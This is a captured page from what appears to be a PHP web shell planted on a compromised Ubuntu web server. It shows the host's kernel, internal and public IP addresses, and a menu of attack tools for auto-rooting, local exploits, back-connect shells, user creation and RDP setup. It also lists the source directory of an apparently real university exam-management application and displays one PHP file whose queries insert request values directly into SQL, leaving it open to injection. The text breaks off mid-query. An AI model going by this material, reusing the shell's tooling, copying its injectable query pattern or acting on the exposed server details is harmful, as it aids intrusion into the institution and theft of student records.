Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.231.116
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
CIEAttendanceNotEligible.php
3.28
KB
-rw-rw-r--
CIEpendingList.php
5.85
KB
-rw-rw-r--
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DisplayPrintApplication_ru.php
65.63
KB
-rw-rw-r--
ECHblk.php
14.61
KB
-rwxr-xr-x
ECHblk_15042021.php
11.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
30.6
KB
-rw-rw-r--
MarkEntry-Setup_bf_gcg.php
22.89
KB
-rwxr-xr-x
MarkEntry-Setupx.php
30.61
KB
-rwxr-xr-x
SelectSubjType.php
3.05
KB
-rw-rw-r--
SubjectType.php
3.62
KB
-rw-rw-r--
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
UpdateCollDet.php
2.03
KB
-rwxr-xr-x
absentAndMalReportPdf.php
8.25
KB
-rw-rw-r--
absentEntryYearModewise.php
991
B
-rw-rw-r--
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
11.36
KB
-rwxr-xr-x
ack_adm_application.php
103.36
KB
-rwxr-xr-x
ack_adm_application.php.orig
58.73
KB
-rwxr-xr-x
ack_admentry_application.php
59.63
KB
-rwxr-xr-x
ack_exam_app_form.php
20.27
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.71
KB
-rwxr-xr-x
ack_report.php
3.69
KB
-rwxr-xr-x
ack_rv_rt_application.php
9.34
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admapprove_kus.php
9.28
KB
-rwxr-xr-x
admissionHallTicket.php
4.43
KB
-rw-r--r--
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admstuddate.php
6.06
KB
-rwxr-xr-x
admuploadexsheet.php
20.48
KB
-rwxr-xr-x
affliation_fee.php
5.04
KB
-rwxrwxrwx
approve.php
41.53
KB
-rwxr-xr-x
approve_kus.php
24.12
KB
-rwxr-xr-x
assignUserMenu.php
13.66
KB
-rw-rw-r--
attCisshortList_sjbit.php
11.91
KB
-rw-r--r--
attEntTeachWise.php
2.07
KB
-rw-rw-r--
attEntryDaywise.php
26.9
KB
-rw-rw-r--
attTeachSum.php
3.63
KB
-rw-r--r--
attendEntry.php
5.32
KB
-rw-rw-r--
attendance.php
17.09
KB
-rwxr-xr-x
attendanceReportForm.php
6.36
KB
-rw-rw-r--
attendance_freez.php
8.51
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendanceentrydaywise.php
11.36
KB
-rw-r--r--
attendenceshort.php
7.58
KB
-rw-rw-r--
attshort.php
6.29
KB
-rwxr-xr-x
atttechblp.php
2.48
KB
-rw-r--r--
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
4.12
KB
-rwxr-xr-x
backup_1.php
7.85
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
backupold.php
2.73
KB
-rwxr-xr-x
bill_details.php
14.21
KB
-rw-rw-r--
board.php
4
KB
-rwxr-xr-x
bundle_dispatch.php
3.2
KB
-rwxr-xr-x
bundle_rec_ack.php
4.67
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.28
KB
-rwxr-xr-x
candidate-entry.php
50.68
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
challan_entries.php
15.05
KB
-rwxr-xr-x
challan_preparation.php
11.29
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.23
KB
-rwxr-xr-x
coll_exam_app_form.php
3.29
KB
-rwxr-xr-x
collbankdet.php
1.9
KB
-rwxr-xr-x
colldesp_ack.php
4.03
KB
-rw-rw-r--
college.php
5.39
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegewisedownload.php
9.46
KB
-rw-rw-r--
colltransfer.php
6.83
KB
-rw-rw-r--
connect.php
2.58
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convo.php
8.14
KB
-rw-rw-r--
copoMarksList.php
1.27
KB
-rw-rw-r--
copomarksentry.php
10.46
KB
-rw-r--r--
copomarksexternal.php
23.05
KB
-rw-r--r--
coporeport.php
4.56
KB
-rw-r--r--
courserep.php
1.68
KB
-rw-r--r--
coutput.php
1.84
KB
-rwxr-xr-x
createAdmission.php
14.91
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
6.99
KB
-rw-rw-r--
createclassattend.php
22.03
KB
-rw-r--r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
548
B
-rwxr-xr-x
cuser.php
3.53
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
6.67
KB
-rwxr-xr-x
degree.php
8.28
KB
-rwxr-xr-x
degree_SujectReport.php
893
B
-rw-rw-r--
degstudymat.php
6.51
KB
-rwxr-xr-x
degstudymatdet.php
6.27
KB
-rwxr-xr-x
degwiseIAreport.php
2.95
KB
-rw-rw-r--
display_details_in_grid.php
107.2
KB
-rw-rw-r--
display_details_in_grid_bf_231...
111.76
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.72
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.52
KB
-rwxr-xr-x
download_misc_files.php
5.19
KB
-rwxr-xr-x
download_misc_files_bcu_comm.p...
4.19
KB
-rwxr-xr-x
download_photo.php
35.98
KB
-rwxr-xr-x
download_photo_pgadm_photos.ph...
4.73
KB
-rw-rw-r--
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
editstddet.php
7.01
KB
-rw-rw-r--
enableStudReg.php
7.65
KB
-rwxr-xr-x
entregupd.php
1.91
KB
-rw-rw-r--
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examappfeereport.php
2.12
KB
-rw-rw-r--
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
feepaidreports.php
2.77
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.48
KB
-rwxr-xr-x
freeze_module_at_admin_college...
9.35
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
10.87
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getDegreeAndSem.php
4.32
KB
-rw-rw-r--
getMessages.php
11.39
KB
-rwxr-xr-x
getTestTotalMarksReport.php
11.96
KB
-rw-rw-r--
getdata.php
39.06
KB
-rwxrwxrwx
getdataold.php
29.62
KB
-rwxr-xr-x
getfeeinformation.php
7.26
KB
-rwxr-xr-x
getmoduledetails.php
23.77
KB
-rwxr-xr-x
getnumword.php
7.45
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
12.13
KB
-rwxr-xr-x
iaabsententry.php
3.1
KB
-rw-r--r--
iamarks.php
7.68
KB
-rw-r--r--
iaroomdeclaration.php
2.6
KB
-rwxr-xr-x
iasectionwise.php
30.09
KB
-rw-r--r--
iasectionwisenew.php
35.77
KB
-rw-r--r--
iatimetable.php
7.61
KB
-rw-r--r--
identifyCoMarksNew.php
2.6
KB
-rw-rw-r--
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
invigilatorDairyRoomWise.php
6.07
KB
-rw-rw-r--
json.php
34.52
KB
-rwxr-xr-x
lateralentry.php
2.39
KB
-rwxr-xr-x
login.php
8.88
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
marksEntryExt.php
9.11
KB
-rwxr-xr-x
marksentryext.php
13.1
KB
-rw-rw-r--
marksentryquestionwise.php
41.93
KB
-rw-rw-r--
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
1.68
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
155.51
KB
-rwxr-xr-x
mregistry18.06.2021.php
99.46
KB
-rwxr-xr-x
mregistry_14092024.php
150.27
KB
-rw-rw-r--
mrn_approval.php
9
KB
-rwxr-xr-x
oldqnpaper.php
4.44
KB
-rw-rw-r--
pendingcie.php
4.21
KB
-rw-rw-r--
picharttesting.php
24.76
KB
-rw-r--r--
pmarks.php
5.97
KB
-rw-rw-r--
post.php
6
KB
-rwxr-xr-x
practicalMarks.php
8.67
KB
-rw-rw-r--
prbillreport.php
5.07
KB
-rw-r--r--
prientCodeStikers.php
6.35
KB
-rw-r--r--
principalFreeze.php
6.92
KB
-rw-rw-r--
principalfreezingsubject.php
1.9
KB
-rw-rw-r--
printAdmRegn.php
13.13
KB
-rwxr-xr-x
printApp_ru.php
1.12
KB
-rw-rw-r--
printMarkListDetailsWisenew_sj...
14.42
KB
-rw-r--r--
qnwiseMarksStats.php
6.14
KB
-rw-rw-r--
qnwisemarksentrynew.php
18.61
KB
-rw-rw-r--
qpSummaryReport.php
1.03
KB
-rw-rw-r--
receive_rv_rt_application.php
8.33
KB
-rwxr-xr-x
receive_teach_trans.php
2.49
KB
-rw-rw-r--
receive_teach_transfer.js
5.06
KB
-rw-rw-r--
remunerationEntry.php
7.14
KB
-rw-rw-r--
repeateriamarksentry.php
4.86
KB
-rw-rw-r--
report_bulk_applications.php
19.42
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.93
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.54
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
resetPasswordUser.php
2.69
KB
-rw-rw-r--
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment.php
9.14
KB
-rwxr-xr-x
room_allotment_datewise.php
26.07
KB
-rwxr-xr-x
room_allotment_datewise_bf_rcu...
16.97
KB
-rwxr-xr-x
room_allotment_datewise_stph.p...
21.57
KB
-rwxr-xr-x
room_allotment_datewise_stph_n...
29.01
KB
-rwxr-xr-x
room_allotment_shifiting.php
3.34
KB
-rwxr-xr-x
roomallotmentExcel.php
8.23
KB
-rw-rw-r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomallotmentqpwisenew.php
13.92
KB
-rw-rw-r--
roomcreationnew.php
2.81
KB
-rw-rw-r--
roomdeclaration.php
2.2
KB
-rwxr-xr-x
roomdeclaration_stph.php
2.51
KB
-rwxr-xr-x
roomwiseinvigilatorsEntry.php
9.86
KB
-rw-rw-r--
rvdates.php
6.46
KB
-rw-rw-r--
rvrt_ack_exam_app.php
6
KB
-rw-rw-r--
rvrt_report.php
1.92
KB
-rw-rw-r--
savePassword.php
1.14
KB
-rw-rw-r--
saveclsdets.php
1.91
KB
-rw-rw-r--
savesspdetails.php
9.93
KB
-rw-rw-r--
sectionwisepermission.php
5.67
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
shortLists.php
1.65
KB
-rw-rw-r--
std_register_det.php
3.56
KB
-rw-rw-r--
stringspliter.php
693
B
-rwxr-xr-x
studSubIdent.php
11.23
KB
-rw-r--r--
stud_name_doc_upload.php
1.24
KB
-rw-rw-r--
stud_wise_report.php
3.02
KB
-rw-rw-r--
student.php
58.23
KB
-rwxr-xr-x
student_entry.php
61.39
KB
-rwxr-xr-x
student_entry_kswu.php
51.23
KB
-rwxr-xr-x
student_entry_nitte.php
88.09
KB
-rw-rw-r--
student_entry_rur.php
74.42
KB
-rw-rw-r--
student_entry_vku.php
66.58
KB
-rwxr-xr-x
student_rur.php
64.37
KB
-rw-rw-r--
student_vku.php
57.95
KB
-rwxr-xr-x
studentfeesandattiashortagedat...
11.38
KB
-rw-rw-r--
studentportal_remove.php
6.18
KB
-rwxr-xr-x
studentreport.php
15.37
KB
-rw-rw-r--
studnamecorr.php
6.69
KB
-rw-rw-r--
subIAMarksEntry.php
11.14
KB
-rw-rw-r--
subblock.php
6.12
KB
-rwxr-xr-x
subdet.php
9.61
KB
-rw-rw-r--
subjReg.php
12.04
KB
-rw-r--r--
subjectList_display.php
11.7
KB
-rwxr-xr-x
subject_freshExam.php
33.18
KB
-rwxr-xr-x
subject_freshExam_rcub.php
28.33
KB
-rwxr-xr-x
subjectfreez.php
13.02
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
12.43
KB
-rwxr-xr-x
subshort.php
8.97
KB
-rw-rw-r--
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.41
KB
-rwxr-xr-x
teachFreeze.php
8.17
KB
-rw-r--r--
teachOficerEntry.php
11.46
KB
-rwxr-xr-x
teachers.php
19.76
KB
-rwxr-xr-x
theoryMarksEntry.php
4.89
KB
-rw-rw-r--
thvalmarks.php
2.72
KB
-rw-r--r--
time_table_degreewise.php
5
KB
-rwxrwxrwx
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.74
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rw-r--r--
updatedegreegroup.php
3.21
KB
-rw-rw-r--
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rw-rw-r--
updatestudentsem.php
2.03
KB
-rw-rw-r--
updatetimetable.php
9.14
KB
-rw-r--r--
updateuvcms.php
2.37
KB
-rw-rw-r--
updmarks.php
22.24
KB
-rw-r--r--
updnemp.php
1.78
KB
-rw-r--r--
upload_doc_demo.php
84
B
-rw-rw-r--
upload_studentPhoto.php
10.81
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.89
KB
-rw-r--r--
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadteacherattendance.php
5.23
KB
-rw-r--r--
userpasswordreset.php
754
B
-rw-rw-r--
usersetup.php
24.46
KB
-rwxr-xr-x
usersetupNew.php
12.76
KB
-rw-r--r--
usersubj_identification.php
5.15
KB
-rwxr-xr-x
viewNotifications.php
1.21
KB
-rw-rw-r--
view_ledger.php
3.64
KB
-rwxrwxrwx
yearmode.php
1.83
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : copomarksexternal.php
<?php function loadcopoqpcode($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $collcode = $_SESSION['collcode']; $usr = $_SESSION['usr']; $user_type = $_SESSION['usrtype']; $qry1 = "select ifnull(sysusr,'') as fteachcode from s_sysdb where college_code = '{$collcode}' and sysusr = '{$usr}'"; //var_dump($qry1); $lobj1 = $aobj_context->mobj_db->GetRow($qry1); if($user_type == '14' || $user_type == '40'){ $cnd = ""; }else{ $cnd = "where (fteachcode = '{$lobj1['fteachcode']}' or frevcode = '{$lobj1['fteachcode']}')"; } $query = "select ifnull(t.fsubcode,'') as fsubcode, concat(ifnull(FSUBNAME, ''),' - ',fssubname) as fsubname from tdvs_copomarks t inner join subject s on t.fsubcode = s.fqpcode $cnd group by t.fsubcode"; // var_dump($query); $result = $aobj_context->mobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function loadcopopacketno($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $qpcode = $aobj_context->mobj_data["qpcode"]; $user_type = $_SESSION['usrtype']; //var_dump($user_type); $user = $_SESSION['usr']; //$user_type = 40; $cnd = "and (t.fteachcode = '{$user}' or frevcode = '{$user}')"; if($user_type == '14' || $user_type == '40') $cnd = ""; $qry = "select ifnull(t.fcollcode,'') as fcollcode from tdvs_copomarks t where t.fsubcode = '{$qpcode}' {$cnd} group by t.fcollcode"; $result = $aobj_context->mobj_db->GetAll($qry); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function loadcopovalno($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $qpcode = $aobj_context->mobj_data["qpcode"]; $packet = $aobj_context->mobj_data["packet"]; $cnd = ""; $user_type = $_SESSION['usrtype']; //var_dump($user_type); $user = $_SESSION['usr']; //$user_type = 40; $cnd = "and (fteachcode = '{$user}' or frevcode = '{$user}')"; if($user_type == '14' || $user_type == '40') $cnd = ""; $qry = "select ifnull(fvalno,'') as fvalno from tdvs_copomarks where fsubcode = '{$qpcode}' and fcollcode = '{$packet}' {$cnd} group by fvalno"; $result = $aobj_context->mobj_db->GetAll($qry); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } // function viewmarksentryexternal($aobj_context){ // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $valno = $aobj_context->mobj_data["valno"]; // $packet = $aobj_context->mobj_data["packet"]; // $qpcode = $aobj_context->mobj_data["qpcode"]; // $collcode=$_SESSION['collcode']; // $query = "select fqpcode from subject where fdegree = '{$degree}' and fexamno = '{$examno}' and fcsubcode = '{$qpcode}'"; // $res1 = $aobj_context->mobj_db->Getrow($query); // $fqpcode1 = $res1['fqpcode']; // $qry3 = "select fdegree,fexamno from tdvs_qpcopo where fqpcode = '{$qpcode}'"; // $res3 = $aobj_context->mobj_db->Getrow($qry3); // $degree = $res3['fdegree']; // $examno = $res3['fexamno']; // $query = "select p.fqncode,pd.fqnno,p.fmaxmarks // from tdvs_qpcopo p // inner join tdvs_qptempdetl_copo pd on p.ftempcode = pd.ftempcode // and p.fpartcode = pd.fpartcode and p.fqncode = pd.fqncode // where p.fdegree = '{$degree}' and p.fexamno = '{$examno}' // and ifnull(p.fmaxmarks,0) >0 // and p.fqpcode = '{$qpcode}' // order by pd.fqncode"; // $res=$aobj_context->mobj_db->GetAll($query); // $oldqnno=$res[0]['fqnno']; // $split=explode(".", $oldqnno); // $oldqn = $split[0]; // $id = 4+count($res); // $e_data.="<table id = 'showteachsub' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; // $e_data.="<thead style='position: sticky;top: 0;'>"; // $e_data.="<th align='left' colspan='{$id}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks Entry</th>"; // $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; // $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; // $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Script No.</center></td>"; // $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Tot.<br>Marks</center></td>"; // $fileds = ""; // $x =0; // $arry = []; // $qno = []; // foreach($res as $value) // { // $splitvalue = explode(".",$value['fqnno']); // // if($oldqn !== $splitvalue[0]){ // // $oldqn = $splitvalue[0]; // // $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'> // // {$oldqn} Total // // </td>"; // // } // $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>{$value['fqnno']}<br>({$value['fmaxmarks']}) // <input type = 'hidden' value ='".$value['fmaxmarks']."' id = '$x".'qnmax'."'/> // </center></td>"; // $fileds .= "ifnull(".'fq'.strtolower(str_replace(".","",$value['fqnno'])).",'-1') as ".'fq'.strtolower(str_replace(".","",$value['fqnno'])).", "; // $arry[$x] = 'fq'.strtolower(str_replace(".","",$value['fqnno'])); // array_push($qno, $value['fqnno']); // $x++; // } // $e_data.="</tr>"; // $e_data.="</thead>"; // $query = "select $fileds fregno,ftotmarks from tdvs_copomarks // where fcollcode = '{$packet}' and fvalno = '{$valno}' // and fsubcode = '{$qpcode}'"; // // var_dump($query); // // die(); // $res2= $aobj_context->mobj_db->GetAll($query); // $i = 1; // foreach($res2 as $val) // { // $e_data.="<tr>"; // $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>$i</center></td>"; // $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>{$val['fregno']} // <input type = 'hidden' value ='".$val['fregno']."' id = '$i".'hregno'."'/> // <input type = 'hidden' value ='N' id = '$i".'hcregno'."'/> // <input type = 'hidden' value ='".count($arry)."' id = '$i".'totqp'."'/> // </center></td>"; // $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;text-align: center;' id = '$i".'totmarks'."'>{$val['ftotmarks']}</td>"; // for($z =0;$z<count($arry);$z++) // { // $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;text-align:center'><input type = 'text' value ='".$val[$arry[$z]]."' style='width:30px;text-align: center;' onchange = 'getregupd(this),valmaxmarksExt(this)' id = '$i".'_qp_'."$z'/> // <input type = 'hidden' value ='".$arry[$z]."' id = '$i".'_hqp_'."$z'/> // </td>"; // } // $e_data.="</tr>"; // $i++; // } // $e_data.="</table>"; // $lob = true; // if($lob){ // $arry['tabledata'] = $e_data; // $arry['qpcnt'] = $z; // $arry['tablecnt'] = count($res2); // $arry['qno'] = $qno; // echo $aobj_context->mobj_output->ToJSONEnvelope($arry,0,"success"); // }else{ // $arr['msg'] = 'Failed to load'; // echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); // } // } function viewmarksentryexternal($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $valno = $aobj_context->mobj_data["valno"]; $packet = $aobj_context->mobj_data["packet"]; $qpcode = $aobj_context->mobj_data["qpcode"]; $collcode=$_SESSION['collcode']; $user_type = $_SESSION['usrtype']; //var_dump($user_type); $user = $_SESSION['usr']; //$user_type = 40; $cnd = false; if($user_type == '14' || $user_type == '40') { }else { $query = "select count(*) as cnt from tdvs_copomarks where frevcode = '{$user}' and fsubcode = '{$qpcode}' and fvalno = '{$valno}' and fcollcode = '{$packet}'"; $res9 = $aobj_context->mobj_db->Getrow($query); if($res9['cnt'] >0) { $cnd = true; } } $query = "select fqpcode from subject where fdegree = '{$degree}' and fexamno = '{$examno}' and fcsubcode = '{$qpcode}'"; $res1 = $aobj_context->mobj_db->Getrow($query); $fqpcode1 = $res1['fqpcode']; $qry3 = "select fdegree,fexamno from tdvs_qpcopo where fqpcode = '{$qpcode}'"; $res3 = $aobj_context->mobj_db->Getrow($qry3); $degree = $res3['fdegree']; $examno = $res3['fexamno']; $query = "select p.fqncode,pd.fqnno,p.fmaxmarks from tdvs_qpcopo p inner join tdvs_qptempdetl_copo pd on p.ftempcode = pd.ftempcode and p.fpartcode = pd.fpartcode and p.fqncode = pd.fqncode where p.fdegree = '{$degree}' and p.fexamno = '{$examno}' and ifnull(p.fmaxmarks,0) >0 and p.fqpcode = '{$qpcode}' order by pd.fqncode"; $res=$aobj_context->mobj_db->GetAll($query); $oldqn = ""; $id = 14+count($res); //var_dump($id); $e_data.="<table id = 'showteachsub' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $e_data.="<thead style='position: sticky;top: 0;'>"; $e_data.="<th align='left' colspan='{$id}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks Entry</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Script No.</center></td>"; $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Tot.<br>Marks</center></td>"; $e_data.="<td style='padding:2px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Online<br>Marks</center></td>"; $fileds = ""; $x =0; $arry = []; $qno = []; $qnArr = []; foreach($res as $value) { $splitvalue = explode(".",$value['fqnno']); if($oldqn !== $splitvalue[0]){ $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'> {$splitvalue[0]} Total </td>"; $oldqn = $splitvalue[0]; array_push($qnArr, $splitvalue[0]); $fileds .= "ifnull(".'fq'.$oldqn.",'-1') as ".'fq'.$oldqn.", "; $arry[$x] = 'fq'.$oldqn; $x++; } $e_data.="<td style='padding:2px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>{$value['fqnno']}<br>({$value['fmaxmarks']}) <input type = 'hidden' value ='".$value['fmaxmarks']."' id = '$x".'qnmax'."'/> </center></td>"; $fileds .= "ifnull(".'fq'.strtolower(str_replace(".","",$value['fqnno'])).",'-1') as ".'fq'.strtolower(str_replace(".","",$value['fqnno'])).", "; $arry[$x] = 'fq'.strtolower(str_replace(".","",$value['fqnno'])); array_push($qno, $value['fqnno']); $x++; } $e_data.="</tr>"; $e_data.="</thead>"; if($cnd) { $query = "select $fileds fregno,frevtotmarks as ftotmarks,ifnull(fonlinerevtot,'') as fonlinetot from tdvs_copomarks where fcollcode = '{$packet}' and fvalno = '{$valno}' and frevcode = '{$user}' and fsubcode = '{$qpcode}'"; $res2 = $aobj_context->mobj_db->GetAll($query); $upd = "insert ignore into tdvs_copomarks_teach(fregno, fclassid, fclassname, fsection, fteachcode, fvalno, fcollcode, fdegree, fexamno, fsubcode, fyear, fexamtype, felement, fmaxmarks, ftotmarks, fmdocno, fmode, flogdate, fq1a, fq1b, fq1c, fq1d, fq1e, fq1, fq2a, fq2b, fq2c, fq2d, fq2e, fq2, fq3a, fq3b, fq3c, fq3d, fq3e, fq3, fq4a, fq4b, fq4c, fq4d, fq4e, fq4, fq5a, fq5b, fq5c, fq5d, fq5e, fq5, fq6a, fq6b, fq6c, fq6d, fq6e, fq6, fq7a, fq7b, fq7c, fq7d, fq7e, fq7, fq8a, fq8b, fq8c, fq8d, fq8e, fq8, fq9a, fq9b, fq9c, fq9d, fq9e, fq9, fq10a, fq10b, fq10c, fq10d, fq10e, fq10, fonlinetot, fupddate, 